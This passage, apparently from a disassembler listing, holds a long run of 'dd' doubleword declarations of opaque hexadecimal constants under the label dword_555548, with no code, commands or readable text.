2351F37Ah, 0F63721Ch, 984AF640h, 99A92Ah dd 3590B17Eh, 0ACE07F3Ah, 68E24D1Dh, 857850C0h, 0B026862Ch dd 764C1CFCh, 53730131h, 51CD1228h, 0C40736D8h, 0AF0C4F0Eh dd 19D656B9h, 88280011h, 0EF4C0DE2h, 2D73D06Dh, 0DE9B58h dd 5F0C6690h, 2C2CED8h, 0F453DC5Dh, 89C311A7h, 23B71100h dd 0D8EB2151h, 0C3300003h, 19473B5Ah, 0C700C8F0h, 2C6E146Ah dd 4CD92h, 5722171Ah, 0A7384EDEh, 0D2007C90h, 30534A93h dd 0A878919Dh, 99E5F4E0h, 0B62B00A4h, 0E24A24DEh, 4001C90h dd 5A97ACD2h, 586655h, 955D298Fh, 826C4F87h, 7CF49F24h dd 0BC404C00h, 21CDDE9h, 0D7FD02Bh, 0FCC0F318h, 0EC002272h dd 4D6BD823h, 0EAAF0129h, 902A0034h, 738C4785h, 7600D019h dd 14D715D4h, 35D692Dh, 0BC085A26h, 0D6804CDCh, 8601222Eh dd 1E8CA0E7h, 0DDC3352h, 931400F3h, 0C850B559h, 0D6004BC4h dd 812CC908h, 0D11E67h, 0ADE7E5B9h, 0DD86443h, 97006EEEh dd 0B1D9DCD6h, 0FF4EB0h, 0B6C24AD0h, 3FE5AC09h, 0A2B28400h dd 0F8889452h, 506B12F1h, 800A1C0Fh, 0B096B6C8h, 0D63E0DEAh dd 0F6048023h, 45D32E98h, 0E9A413A2h, 58260018h, 9624C75Bh dd 0E0271D00h, 0E726C5FCh, 0E6460059h, 0B2F3C4A4h, 0AA000256h dd 8507895Fh, 992026h, 63415991h, 86773213h, 0BDDAC807h dd 0D7206C97h, 6D63F8Ch, 1B01B953h, 57EA8E06h, 0F15A500h dd 0FE85E52Ah, 190C0067h, 89067A52h, 0DC0059DBh, 4E72C523h dd 0B042B1h, 8B21F278h, 0FF1B70A5h, 2FA70D00h, 3EF8D52Ch dd 8262132Bh, 5FF0010h, 0A51E58B6h, 0BC21D300h, 6DC1FCD8h dd 8638018Ch, 0C4F80C9h, 48E760DFh, 3F79907Dh, 3D993200h dd 0E3F0F3FFh, 5CF0B0h, 4ED5F743h, 0CBFC5705h, 67F1C000h dd 786C5A59h, 0ABC60735h, 0A7B8297Ah, 0F076702Bh, 0D6033AFEh dd 31383948h, 8828AB20h, 3B09BADBh, 418061DAh, 8E95A23Fh dd 2B00B263h, 4FD4EF74h, 56ECF2h, 6E8A70F4h, 1EC1FB35h dd 59CC4000h, 5C2A1DAAh, 649700A4h, 1117C4C3h, 34767309h dd 0FC0E25F8h, 0C02202ABh, 665B39B0h, 4EC63D6Bh, 0E8EABD00h dd 62B16C63h, 0D141FE0Bh, 4FC18753h, 8319F370h, 43EB002Eh dd 0F2D54450h, 800974Ah, 693155B6h, 3D308F98h, 3C802CE8h dd 71D07CAAh, 2600E781h, 0B6ED7046h, 951F1Ch, 18F20590h dd 0BF968F9Eh, 0E74F4D00h, 0DE716942h, 0CA4C00A7h, 0FF2280D5h dd 0D3E81112h, 0EC21D200h, 9D636A38h, 795000ACh, 0BB0B2D58h dd 9900F974h, 3FF19F41h, 0FE9EB5Ch, 8C084580h, 6C2AADE0h dd 0D800761Ch, 610398FAh, 0C07EFB88h, 7A1F0A78h, 5F0056E1h dd 4735E814h, 397BCBh, 0D540A270h, 0C305CF53h, 3D97130Ch dd 2FD854h, 0D33E7964h, 0A11444B1h, 59E5B007h, 80696BD9h dd 0EBFEAEACh, 0FA8D004Eh, 9C83B65h, 0A51C6160h, 6C8001B3h dd 94A21292h, 8A5E003Fh, 0E267AFBBh, 3975C1C3h, 0E8A7F800h dd 0EFF061F6h, 9B1E0173h, 44E6188Ah, 0CE8970BBh, 49BEAF00h dd 7D8CB82Bh, 0AA93F86h, 0CA89DD80h, 3EE8C061h, 0F4EC840Bh dd 45460007h, 0EBD440h, 0CEDC890Dh, 1E86AAACh, 0B423100h dd 0A2DFE7C6h, 0AF560075h, 37B803ABh, 8E0E3A2Ch, 0C0A96A07h dd 6FFFA7FCh, 6D57005Dh, 5E265A9Eh, 2D0079D0h, 8BD4AF44h dd 1BEDF8h, 6A8F6265h, 0A9B7F4BBh, 7EB8A700h, 0B16B1C0Fh dd 0FC3D4802h, 62B22A73h, 0AE7D12A8h, 5EC4034Eh, 84D78873h dd 0B3A480C9h, 0BF00E843h, 0C655C1B1h, 0C05D7872h, 0CD664240h dd 0D70768D5h, 0FF0D0285h, 0DD5B9500h, 0CA3E003Dh, 98C08FABh dd 0FE0F041Ch, 0CE0E88h, 0A39E050Ah, 4DAD2801h, 93852CE0h dd 7CBB0061h, 41804644h, 0C0C3DC00h, 109105D2h, 0FABAE0CAh dd 0DDFF30F3h, 1FD79018h, 3A8AD00h, 0D46AC1D6h, 0AA48003Eh dd 612B28E9h, 89FA7E87h, 7B02F112h, 1E1BDD00h, 3688DB4h dd 814ADDE4h, 1FF83706h, 0F50A281Ch, 0DCE90B57h, 98009513h dd 0A0AC7FFFh, 0CE2C18BAh, 0B5BFF9D5h, 9BE5D700h, 8E22F903h dd 9280199h, 96AD4F88h, 0E60FCC12h, 8134AF01h, 51F49211h dd 944BE30h, 0BCEA2DC5h, 21AB1780h, 43136935h, 98001B03h dd 0A1D84F05h, 0C16F008Bh, 6B86EB4Dh, 250FEE09h, 20595EC8h dd 0F2DD1439h, 4D52007Dh, 5751A4FAh, 5072E7Ah, 2CCAF612h dd 821831C0h, 2C9B4C8Ch, 79B87Bh, 30572D2Fh, 43A1B43Bh dd 0E6C43900h, 0C6534534h, 9B8A1D61h, 0BA5AC749h, 8029D75Bh dd 0FD2A8F69h, 2C2BEA00h, 83B36FCAh, 804D00CDh, 59F661BDh dd 0E200F2A0h, 198C8556h, 0F5B2286h, 0D353664Dh, 0B303D1E3h dd 2E3D01A0h, 79981300h, 1D9E5FA9h, 905600D6h, 76DBF0E4h dd 6D00A653h, 8E02DF4Eh, 0F14335h, 278DCB30h, 78954568h dd 0F7FFC0A0h, 0DA1F6500h, 0C9623B40h, 126A16C4h, 0ED6420CBh dd 0EE13277Dh, 0A440437Ah, 4282313h, 1CABFC8Bh, 406B1BB6h dd 16A9F4E1h, 0C0A01543h, 0B7000945h, 0E2A7CB8h, 24010DB0h dd 338D517h, 2DF2A7E7h, 3D1F9FE0h, 0BC9258h, 37F32CDAh dd 8043A2h, 0FD470DD9h, 0D027D3DCh, 69F8B112h, 0DD843000h dd 0B51621Eh, 12948D9Bh, 0C1406800h, 9500A9FAh, 6EBAB2FDh dd 0E27A3Eh, 0DF55F2ADh, 0FF852E1Ah, 4E7DC800h, 96D14CF5h dd 885C003Dh, 0C26414C4h, 0BB00D36Eh, 0EB6F799Ch, 111AFE8h dd 8DBCDD1h, 0C4A2483Bh, 0A706457Bh, 8A3AF890h, 0FFC40090h dd 0B3B5F84h, 3DFCBB89h, 7E4A0C00h, 0CDACF345h, 2CB78C4h dd 0EDFA089Ah, 688424h, 71887B5Fh, 3EA10FEAh, 9E20190Eh dd 48C64325h, 0E4889F54h, 0F3FAFCE8h, 0CD54D400h, 4B699462h dd 20346235h, 84E0A523h, 0EA074049h, 68BEC5CEh, 4C47C0B0h dd 350E3130h, 60CB7E28h dword_555548 dd 0D6260418h, 50001870h, 0B5E70F31h, 0AA76EEh, 0ECF9332Ah dd 0AFFCDF65h, 7D4F1C2Eh, 5CC8E500h, 3EB3F254h, 0F500F90Fh dd 0CC14E9B0h, 0E700426Fh, 0A19E4C78h, 2F8DFCA8h, 0C7800E09h dd 3360AE61h, 7FEE3CB2h, 628CE700h, 0A6DBC44Bh, 55D200E0h dd 275045E6h, 0DF3A25FBh, 0A4AFBF54h, 0C80DC47h, 0F5767CEDh dd 93EC007Dh, 0CCABA631h, 6560613Ch, 961EA3EEh, 7A660544h dd 803AF4E0h, 0FD243027h, 1642A600h, 9BA78132h, 0B1EF6C2h dd 400F70DEh, 849C1289h, 0F222A01Dh, 0F8F49400h, 8ED785h dd 8D3F86E4h, 33D4301h, 11845F16h, 0FDBB6800h, 1C947C21h dd 0C0CFA9C4h, 22F86EE0h, 36008791h, 6B69C386h, 1DC9E130h dd 80E26F28h, 740FC4DBh, 51039C1Eh, 0E4419FFBh, 5280016Eh dd 952F388Dh, 64AA20A0h, 0D60C7F00h, 68DDCC06h, 0B573009Ch dd 0DB63B053h, 18B838C7h, 0E47EAD00h, 0F1AC06FCh, 6BB43022h dd 6D8CFB40h, 9690670Fh, 0E59BA00Ah, 0CFAA6Ah, 97CD1BC0h dd 6E9FAB74h, 0BEA3FE0Eh, 1800D2A0h, 4498D58Fh, 9DC00029h dd 2EDDCE76h, 0A918495Fh, 5EFA5AFBh, 27E431h, 0F1112084h dd 0A8430632h, 0D7F85600h, 2EC81D7Fh, 121B0188h, 1163A6A4h dd 521C30AAh, 742468B0h, 54009EB0h, 7C2FA4EDh, 0FF6107DDh dd 505FE18Ah, 9FB297B4h, 693CF512h, 391B9840h, 869A81h dd 7A7E0514h, 0A795F772h, 7909113Bh, 29B7100h, 5505F06Bh dd 357FD6h, 986F537h, 0EF622E51h, 0CFCC3E00h, 170F25CDh dd 165C981Ah, 0DB9561h, 15E3D11Ch, 19725142h, 66261D07h dd 0D03A54CAh, 0AE9B800h, 24EDF25Ch, 93B04958h, 130509B5h dd 0C5207C80h, 9BFEF976h, 0B9BBD000h, 91BECF27h, 4570126Fh dd 0C2480A2h, 0D301AA8Dh, 88240F1h, 1EF89635h, 0F5790075h dd 9AFA3E09h, 0EB0087F8h, 0E2B90D5Ah, 0E47A4A4Fh, 3468008Eh dd 9EBB8CEAh, 6E308DF1h, 0ED432C90h, 0DA440019h, 51C170F7h dd 4900FC77h, 593F63CBh, 98CDA9h, 0E9BC3B20h, 5626D0F7h dd 8077D73Ch, 6006E0DCh, 1F7A2EABh, 40928B76h, 486CA003h dd 0D2007BD0h, 8F0B8026h, 28CD96A8h, 3CC5FE4h, 0E8749D7Ch dd 88E5A95Dh, 0A70F86A0h, 4F3B3CCh, 8D87B905h, 0D0F53980h dd 5110C004h, 0D2F4358Bh, 74BB0A12h, 0ED400D00h, 17771457h dd 40912617h, 44FE3B4h, 78F05C22h, 9D739939h, 0FC1DC90Eh dd 1093DD06h, 95C1028h, 9DE18803h, 5E71D91h, 3A5DC08h dd 90C01610h, 0DADD6100h, 6A14AC62h, 464A0064h, 9DCF1E08h dd 70F27EFCh, 2AF3EC2Ch, 0B5D37B00h, 50163069h, 3CB45021h dd 5C00EFBEh, 14C193E5h, 87F78ED3h, 36BB0828h, 0A0E1B8B2h dd 1256BC98h, 0D8C0DC78h, 0EE3A014h, 51DC0410h, 0D0241C87h dd 9BC1AB97h, 0F2184500h, 0FDE24DE0h, 2DFE0069h, 0A4B6E955h dd 16034A96h, 4EDE269Dh, 6C60F7ABh, 0D286Fh, 2C9A9EC3h dd 0FA812210h, 0B00CE7Ah, 997D941Dh, 0B19B17h, 0D7C4FEF2h dd 8ED2073Dh, 0C6183200h, 2D60C377h, 0E1F80059h, 0D814D6BAh dd 3EEA15DEh, 0BF721601h, 1BB5C133h, 0B58D024h, 0F9D09546h dd 0A5350D80h, 0F20063E5h, 0A4B1CA7Fh, 72D992C0h, 7C4924EAh dd 0BF360007h, 82BF2AEh, 9DDD880Fh, 39BE1FAh, 3DE05135h dd 0DA07004Ch, 79A18BEFh, 0E5002E58h, 0AE7C48D9h, 10F089Dh dd 0B4DDB6Ch, 0C0B1EA66h, 0FE002B25h, 719E2333h, 2EA2BFh dd 39507D5Dh, 99A56B3Ah, 0E66E3205h, 6FC038CFh, 30E5FFBh dd 44D2C464h, 0BD03D87h, 31E08B50h, 4C223C04h, 0EF850A88h dd 6D00661Eh, 527F9AB3h, 2B8E12BEh, 404515Ch, 0B72445BCh dd 2F0E10EDh, 0F9B5E027h, 3BC49EDBh, 38BB30C5h, 4391EA1Fh dd 4DEB5A74h, 904B13D9h, 0A884FA29h, 54D844A4h, 4859A744h dd 0A1DD42C6h, 22571C22h, 0E2245BC1h, 40113F22h, 10B32842h dd 438ACAAEh, 0A4292827h, 42CB2228h, 5E148A50h, 0A308FD44h dd 22718228h, 0B721C9D6h, 0C01E562h, 58BD005Bh, 0BEAD00DEh dd 0BC57305Ah, 0FB00E452h, 0A4355568h, 74EAAAAFh, 77A800F9h dd 20EE8AA7h, 0E717E288h, 4100BC58h, 91D8B727h, 0B30AC025h dd 88C94028h, 5CC6E500h, 0CD18D5DDh, 1FCC2EC2h, 19A900FEh dd 0DA13E7D4h, 0D0A43Ah, 9F9B8E30h, 0AC5327h, 6D95991Bh dd 0AAA7EDD7h, 0D6BD2100h, 92AD1E29h, 523617D0h, 75CE0733h dd 6F05D051h, 0E4002F3Ch, 70BAAFCAh, 39E28A3h, 0ED71F492h dd 0A9F8B31Bh, 0B4000A47h, 3C8B7AA7h, 779BB5h, 8FD8F609h dd 68878E5Bh, 8B0BD038h, 8085F089h, 1E16C015h, 0BCF6AFh dd 51CDAA47h, 6BC895A3h, 0E256D100h, 0E58B74C1h, 0CCD45DB9h dd 0B7AC1901h, 0EC01DEFCh, 0A500311Fh, 0E8C57849h, 3B90B5C9h dd 8D8FC7C0h, 98A71A5Fh, 0F9006908h, 4DE44564h, 116BC130h dd 137F91h, 3DCC4051h, 0E714CA23h, 0F9C21D00h, 0FB50EFF4h dd 5A746AEEh, 84F5807Ch, 52F94CA9h, 788E420Eh, 0EBB7A040h dd 49545Fh, 1A8A94A4h, 2A42DFA5h, 0D01CED14h, 783500D9h dd 627D8869h, 0B3AF023Eh, 0A207DC37h, 0C75648E0h, 94F64200h dd 0C1BBD610h, 0D4BE00D9h, 0D187D304h, 8100CC05h, 1B8C97DAh dd 578392h, 59FD376Eh, 0D75ED4C4h, 6DEB0600h, 0A89623E1h dd 0B04A0447h, 80C5E751h, 0BB1A817Eh, 539BB713h, 91F85B00h dd 109AE1h, 76F19385h, 0F306C70h, 0B708E900h, 0BFCD608Dh dd 0FD17995h, 832A52E6h, 0CAE702A0h, 91074859h, 64FEEDBh dd 6EFE7B80h, 54BC005Eh, 6ADC5C4Bh, 0B648930Ch, 0EEE40088h dd 43198925h, 2ECF00F9h, 0E370602Bh, 5E00F026h, 9BEA9C2Ah dd 26563F75h, 1309AF9h, 1383F392h, 0B3FFF438h, 5DB4DE0Fh dd 0A25060A3h, 0E4861F3Ch, 0A13D3F91h, 52007C38h, 884EB131h dd 33E83D7h, 0DD5C6Dh, 0B5563A66h, 7DA77F04h, 0ECBF0020h dd 5706475Fh, 500E772h, 2E5D9F0Ah, 3C3645ABh, 0E3804C14h dd 48C0CC6Ah, 0D8020C4Ah, 0FDDEA494h, 0D7F9C021h, 6E580943h dd 8003EC09h, 0F3E0601Fh, 0DB003701h, 0CAFAA722h, 5C406587h dd 95008BE4h, 3FB043B2h, 8F09D44Ah, 40A782E5h, 5826C0h dd 8D10EF3Bh, 4DDAA061h, 0F91D23Bh, 606E866Dh, 870EDBCEh dd 0FB820017h, 0C41CA55Bh, 77008ADEh, 0FF28126Dh, 702BB964h dd 0BED8005Ah, 3185B849h, 10C70B6Eh, 0EAE0ED4Dh, 90A0B6DEh dd 57FE006Bh, 524F7A44h, 5E001702h, 0B3A7815Dh, 7DE471h dd 0F70A79EFh, 0CCDF82E2h, 8A2E5F0Fh, 716440ADh, 67903542h dd 408BC069h, 6D65BCFh, 0CCA10900h, 0D055D51Eh, 8EDE0015h dd 5FDB1786h, 2C01031Fh, 16B75CFEh, 1EE844F4h, 0B0630053h dd 0ED429541h, 48FE187Fh, 477B5B7Bh, 9F3CEB00h, 3528239Eh dd 0C776EA87h, 1044BDD0h, 0F1C5A4DBh, 9FF7A600h, 9EAD43C0h dd 0CCAF008Eh, 2679E38Ch, 2C0083A4h, 5E4C5DB1h, 1B81FEFh dd 0B352B7CAh, 0F0BED429h, 0AD3913B6h, 18D70058h, 5794EA8Dh dd 0B94E00D0h, 60F278C6h, 9C1C3896h, 971F0E65h, 7D4C3040h dd 1F98DFEBh, 0C03AE49Fh, 91F5481Ch, 0CA011E43h, 737DC65Bh dd 0B1FC95C7h, 9BE11C66h, 0E048787h, 25202041h, 70BC48Ch dd 54938F14h, 0A5450FABh, 2BC54703h, 889A8800h, 2B64EFEh dd 95F600A0h, 0C2523F50h, 73000549h, 0A4787C21h, 16131DB1h dd 6A0806h, 37EBA62Eh, 0E21C1AF0h, 3C400A58h, 83D2B213h dd 0CD40006Ah, 3D9861F6h, 1B00FB04h, 4490C043h, 3FE2FA0Ch dd 55028123h, 9C6F71C4h dd 972ECC40h, 0F465433Fh, 2AAFEB00h, 0E0675169h, 0AEFE0C9Ch dd 0D120C12Bh, 21A2B407h, 8D131D0Fh, 3AFBB8D2h, 0AB402E2Dh dd 0AE9800BBh, 6B7813B3h, 0E700CC90h, 3B59B02Bh, 0FA1DC2h dd 937EAC72h, 69D5650Eh, 63433500h, 97C84B6h, 9A27039Bh dd 9E462014h, 0F1AB89A0h, 83D80D3Dh, 0D034C721h, 0FFF7A0E1h dd 3C7B00ECh, 0FB6ECE36h, 674CED41h, 7A9C007Dh, 0F502A9B4h dd 3A1C003Bh, 0D30B91ACh, 42022127h, 0BA7ECA76h, 8450FFh dd 0E8772352h, 0A73FA680h, 0D6E5F700h, 74AAB595h, 20F3002Dh dd 710B3B2Ah, 83071A1Bh, 0E0A4B6FEh, 0C1F9B2D0h, 15F11E67h dd 0FB0E0537h, 60D80BFh, 7F287681h, 1600B094h, 0E4EAAB64h dd 0EE1A86A7h, 0B71705Fh, 3C450292h, 0F0FE3807h, 0C446F0C8h dd 8C477E0Eh, 0F44440D9h, 7C7DDE84h, 83B7004Eh, 0D39903B3h dd 8B00715Bh, 3948C205h, 1B11AA7h, 25F98411h, 0F08382B9h dd 7E0FB37Dh, 0C0B86979h, 5FCD67E0h, 4BF23Bh, 0CB299640h dd 0D8501527h, 0A442EF00h, 0C50B8281h, 8D59009Ch, 1CDF5DD0h dd 300060CFh, 0EF1B13FFh, 3C85Fh, 22F7E625h, 0B8B43961h dd 0F6A16607h, 0C04F9746h, 6A98DD95h, 24CC00EDh, 0B22968BEh dd 0E013150Dh, 30006403h, 4AA5DF1Bh, 2578C6h, 0A43DDC71h dd 94D0C044h, 0D5171900h, 0B30F4EA1h, 1E86E6DBh, 0DC3DE687h dd 302056CEh, 0B12F9CA4h, 504C3AFCh, 0FBF10130h, 7222AF93h dd 0E3B430h, 2BACC230h, 59B4A220h, 0C82BC0Eh, 98E22039h dd 7F2C1302h, 9D3D2C11h, 0BB940050h, 9C84BF74h, 0CC225800h dd 8569216Fh, 0F21D0212h, 0D9FA3B4Ah, 3C604340h, 73BB7C04h dd 0C0C5250Dh, 0E02E2300h, 1268EA9Bh, 1D957912h, 2734004h dd 7F1BBE91h, 35583100h, 0D14E22C2h, 0CDC31623h, 0A390000Dh dd 82FD5E21h, 31B60903h, 8254E7C8h, 1972C081h, 0BBED029Eh dd 2D8426D7h, 3E83B440h, 5C587320h, 8D00B7CFh, 5E6ACECDh dd 0C055F19h, 8FD31375h, 81573480h, 92300040h, 792F9F72h dd 90006735h, 37BACF80h, 5A7BD3h, 0EAF712D0h, 890AE504h dd 0D6F63F0Eh, 0FE9381E9h, 78386FDCh, 81B3640Fh, 0D860BBEEh dd 15BFF320h, 580420B8h, 2D65DDF6h, 486F4880h, 87D9035Ah dd 7ECB5403h, 0DBC1A380h, 0FA2B5802h, 0C06778D6h, 62E295h dd 95973915h, 314DDB2Eh, 18428800h, 890E792Bh, 0BCF2049Eh dd 80C9C4D6h, 6226ACAFh, 491BBF07h, 216CAC8h, 7A570041h dd 0E1A73A2Ah, 600E8D6h, 0CF85FBBBh, 4E5C76h, 0A53C618Bh dd 599E09F6h, 2D736800h, 993ADF45h, 0B36C00A0h, 5146AF10h dd 1B07F1A3h, 12089BE7h, 808EFDE2h, 23984EECh, 11C7405h dd 0D2444CCBh, 0FC020736h, 49002BDFh, 770520EAh, 0C383CEh dd 0AD7DBDAEh, 0D7DBC472h, 0A611E00h, 0EC270B5h, 58B10053h dd 0C720A6D2h, 0DA90104Ah, 1F14EF0Fh, 0A37427AFh, 0B940E8B7h dd 4E1BC0h, 0B8EC05E9h, 15CE50DFh, 0A579B700h, 0CB71035Fh dd 809F0133h, 58B29C7Ch, 24183C56h, 0C06090C4h, 36BAAF1h dd 67014D79h, 0FAA03A81h, 5E00B6D4h, 846EBEBFh, 0E6DB5B93h dd 0C991149Bh, 2900ABA7h, 0D8E57AC4h, 36002180h, 6BF6DD8Eh dd 0B911F7h, 6D966E8Fh, 4AF90EE2h, 0A0D5DC00h, 2A1B3D8Dh dd 34D98ADh, 0B570138Ah, 9800957Ah, 8D23D711h, 0D3BE1F6Dh dd 0DF03FE08h, 0A13524B7h, 2084D112h, 0C70DC964h, 512D8068h dd 10187761h, 0B9286570h, 0BA750713h, 0E0D062F3h, 3B698372h dd 187CD81Fh, 6B05F600h, 5312B0h, 4936CB9Bh, 0C60C8FFh dd 0ED72BB00h, 40893F1Eh, 8820F973h, 11AA24E5h, 9E1F0578h dd 0F158D09Fh, 8709A8CCh, 60F79CECh, 0C08B210h, 41915B10h dd 0C6004E10h, 2435416h, 476476h, 0B69D8CA7h, 0F7DA3F61h dd 5C009B98h, 0A0259143h, 793986Fh, 6B142365h, 0D6C60107h dd 9FA3E062h, 0B5F2D04h, 0ABC0A2F6h, 3A3D40h, 9D847917h dd 2B96AC31h, 0CFAA5400h, 18C5F259h, 16290024h, 0DDB03C51h dd 51B08DB7h, 0ABE0507h, 3191E646h, 0D1F99343h, 321DC840h dd 942220EEh, 0A98FA928h, 0EA0FA48h, 8291AA44h, 0C932FC2Eh dd 208069FCh, 0D5B5E3C5h, 9002C834h, 3AB9ECA9h, 0F16C6938h dd 0A41D170h, 7CFEC57Bh, 81003DC8h, 4C894E50h, 0CC028CE7h dd 0F93CEC6Ch, 0E6E7406Dh, 75840167h, 5843BD64h, 0D205FC29h dd 0A9E52500h, 0EBBAA796h, 0B29F16D4h, 9C5C0401h, 0DB688056h dd 102CEF64h, 5C01346Ah, 6327C38Fh, 4330D09Eh, 0D7205E83h dd 0FE460A5h, 8C00AD2Eh, 405ECE80h, 294B0h, 0C992C32Ah dd 0ED06D7B2h, 7ADBA0C3h, 52CB9855h, 7D2698B8h, 3E75B4h dd 7BE2400Fh, 0BB587012h, 0B08C4500h, 0A342B3DEh, 646639F3h dd 2F30E180h, 0F48AF888h, 9C62F9h, 47B1713Bh, 2AB5DEBh dd 0C10AA841h, 0F0C8818Bh, 48583C1Dh, 2F1E162Ch, 0EE18618h dd 45761C77h, 8D80FEC2h, 4771490Ah, 19007BC0h, 63210B68h dd 2953145h, 7D6C80C2h, 37C06DA0h, 0DF04941Bh, 33754A1Fh dd 0F18E80AEh, 4098D418h, 538A8710h, 720BE058h, 94A79747h dd 0ADE8B2DBh, 176BA0AAh, 0D320F00Ah, 0FD00C874h, 0A2992FA5h dd 0A0BB804Dh, 3960DFCCh, 64005383h, 321011B7h, 0B92C894Fh dd 4D007514h, 721FC278h, 0AC01185Dh, 80FE3921h, 48816B00h dd 0C217ED2Bh, 575000C8h, 0E399D19Bh, 0A2EE7907h, 0AD823106h dd 2870E7h, 6B4978A4h, 1DD6F48Fh, 9865A72Ah, 2FC3E813h dd 235700C0h, 3C08034Eh, 716729AAh, 0C19D000h, 0C1940A1Ah dd 4D5A39C5h, 10DC6F3Ah, 92E416h, 52014768h, 6400110Ah dd 639B6678h, 756E9786h, 0E4730065h, 0E517A77Fh, 0D70F416Fh dd 815A0A2Eh, 1F75D83Fh, 20E0470h, 0D2778809h, 47081E1h dd 0D7030A90h, 1F55C147h, 43AFB078h, 0A19B3D67h, 0AA172393h dd 0AECE4200h, 0ED4B02h, 0FA9008BEh, 71A74493h, 5099707h dd 21708681h, 58256F9Ch, 731F5C56h, 0F9287D31h, 0CB2A0084h dd 3E679A7h, 0D6008BF4h, 746BA5CCh, 30BAFBF8h, 2520C4D7h dd 0E4E76619h, 0A9076981h, 48A27065h, 0D1168480h, 1D6E0E6Bh dd 0E4BDDD9Fh, 662B041Ch, 48205604h, 770BBFFh, 0E961B7EAh dd 0B4DF5041h, 0AD0ED8E2h, 938CBE97h, 59059801h, 6C79DB06h dd 0C457CC0Bh, 0B2355460h, 0AC414Dh, 901AC36Eh, 1F3444DAh dd 0DB8BA4h, 2C86274h, 0A0066D2h, 0F824ED21h, 3552EBEh dd 0BA672813h, 47A0342Fh, 1700F274h, 18EE6DA1h, 0A3EF3h dd 0FFEBF528h, 9676D695h, 13006173h, 65871B29h, 0A0828A54h dd 1038FFACh, 25F58E8h, 0F77C8EFBh, 30060102h, 0E00470C8h dd 1C01FCB0h, 4A4EDEEAh, 1C037E5h, 3A14B8A2h, 3875EDFFh dd 0C78095A6h, 0C2E3AB54h, 8306F885h, 56A15A0Fh, 0C040285Eh dd 0D3CF00ACh, 9C3B598Bh, 0E0B2F5C8h, 69CA0C0Ah, 0D8075C28h dd 0DB70E36Bh, 28464CABh, 3BB4B575h, 1501C7D9h, 9412DF5Bh dd 5587D3Ch, 40042E5Dh, 7A0BC9C0h, 0A2FA2D13h, 0E37D004h dd 0F1FD20F9h, 2E33A147h, 8810BDF4h, 8138D871h, 4D0ABC56h dd 0EC2C6450h, 0D93AAC00h, 0C112FF0Eh, 71FB8900h, 4DFC6FEAh dd 28F92E52h, 64870060h, 0AEFF2059h, 1C46F000h, 49158BDFh dd 6AD8906Fh, 24F096h, 0B93CDA81h, 0CB00DE69h, 0C3BBDCF1h dd 668EE35h, 0E15ECF03h, 81E09027h, 0D3A82418h, 905AA11h dd 5962A02Dh, 3C0AA041h, 0FE240018h, 4FF2977Eh, 84DF3806h dd 0C139109Fh, 5C7636A3h dd 0A0EC6433h, 6E04740Bh, 217422AAh, 7918C0F5h, 798371B3h dd 6A290067h, 34D7A2A7h, 2A001F81h, 18DC9B61h, 28B2717h dd 707AE3ACh, 9E80076Ch, 14CE01C2h, 0C49B3000h, 0A01C1343h dd 23980028h, 3782DCD9h, 44000CB7h, 0EE12EBDh, 2E0E7A8h dd 6E1D1BF8h, 53C3AD69h, 0B4A428A8h, 145C81E2h, 59E204CFh dd 78804D4Fh, 0C2A0B10h, 6690E9EBh, 76165F10h, 51FC1501h dd 8C5A1C01h, 0E496EE4Fh, 8E3FD2C0h, 80C7B817h, 574D3B53h dd 3D2B294Ch, 1B80800Dh, 0ABAF1C5Eh, 0ED0034E4h, 0FD8DFCE0h dd 121F4CF9h, 0A0B671DFh, 0C90B44CCh, 873DD7B1h, 0DB8079A2h dd 0E02D7Fh, 970CDCD2h, 0A711C272h, 1F09983Eh, 0F7C3D6B2h dd 0B13A7EBAh, 7FEC2FC6h, 636000B0h, 4C9E6FF9h, 2001C940h dd 65DAEC3h, 842426ADh, 58BE002Ah, 7CEF5F95h, 4F038A19h dd 0E09D60E7h, 0C3CCDA68h, 0C64C0082h, 297A0850h, 101C4E9h dd 9E28D436h, 2870B277h, 0C080ED8Fh, 58D88B97h, 6A00DC4Fh dd 47ABC4B7h, 2E6F0ACCh, 7C405B9h, 0E0A315D3h, 72240E9Bh dd 2B0F8C00h, 0F3048E19h, 0AE010E4Eh, 697EFF7h, 586257BBh dd 0C26521h, 47BE70E3h, 2F7D9C30h, 37153B00h, 4093FFA3h dd 0FC360727h, 9089AB13h, 4D869C4Bh, 0D0EC9600h, 3C6A11BFh dd 0BECF0037h, 915325AEh, 390052C1h, 0DB905BECh, 1E89310h dd 0B4ABCEE6h, 80ED3C87h, 0C2B23A10h, 2E6633h, 0BF9B5A44h dd 0F6CC7FD7h, 4B3BA300h, 8CB1C71Bh, 0C1702Ch, 9A04E103h dd 0D7D02BEh, 0CBD24200h, 0F741E579h, 6B9B002Ch, 90C8352Eh dd 9107570Ch, 0EA67C42Ah, 0A302F430h, 8824071Dh, 0F0CE341Ch dd 982F939Eh, 802A223Fh, 991086F3h, 3B3DCF0h, 0B6C4C9A7h dd 2AB89CE3h, 9D3AB59Fh, 8639BC8Ch, 0D0C759F1h, 0FA4913F4h dd 1D8F00D3h, 0F7BF9783h, 2ACCDF00h, 9DC7BAC8h, 0DDFE0F43h dd 0C141FD7Ch, 340BEE23h, 4EF6A37Ch, 0C4495500h, 0A461E4CAh dd 7EB70963h, 2003916h, 8D198310h, 0DE5B7100h, 863714CFh dd 3EEE058h, 0AA7BE384h, 5177B096h, 0FD598A1Fh, 60C23A00h dd 72D347E7h, 83E43F86h, 0B28097h, 0FED95A3Dh, 980074ACh dd 364A6AAEh, 74782E2Dh, 30D826B1h, 0EE8D00A9h, 0E1DEE804h dd 0EF150D00h, 938106B9h, 521900F9h, 26FEA0E6h, 111FA584h dd 0FC405D83h, 0F486DEDCh, 0C39D004Bh, 57DA92E9h, 67002418h dd 1A2797FEh, 13213ABh, 283F1420h, 0D6959285h, 91ECB0C0h dd 8FCED438h, 81800Bh, 38C4DB23h, 9A85000Ah, 0CAD13BDFh dd 0C73C20FFh, 1A1E9E25h, 1276C9C1h, 1C328F2Eh, 0B7FB6002h dd 2CC0D707h, 1B0018C9h, 308D8A56h, 0F522350h, 0B7C4FAEAh dd 0AE84036h, 0C39FFB42h, 7581B101h, 1EBCAA3Ah, 0AEF7D8h dd 11F270CEh, 0F8CB5A0Bh, 3D0B000h, 3C326CDEh, 0CC9084h dd 836F7673h, 9BBA6E70h, 62100C00h, 51C12EADh, 2D190090h dd 0ED14A923h, 0B5EEF0CCh, 0BA337F01h, 4D8BAA7Ah, 99001028h dd 0CDD63CD2h, 89004E23h, 0A0588C32h, 99DA73Fh, 0CF70F8DEh dd 0C4098440h, 872F7612h, 69BA8E07h, 0D05D76h, 4D90D814h dd 0CFA5890Eh, 5E725805h, 0F8C0B005h, 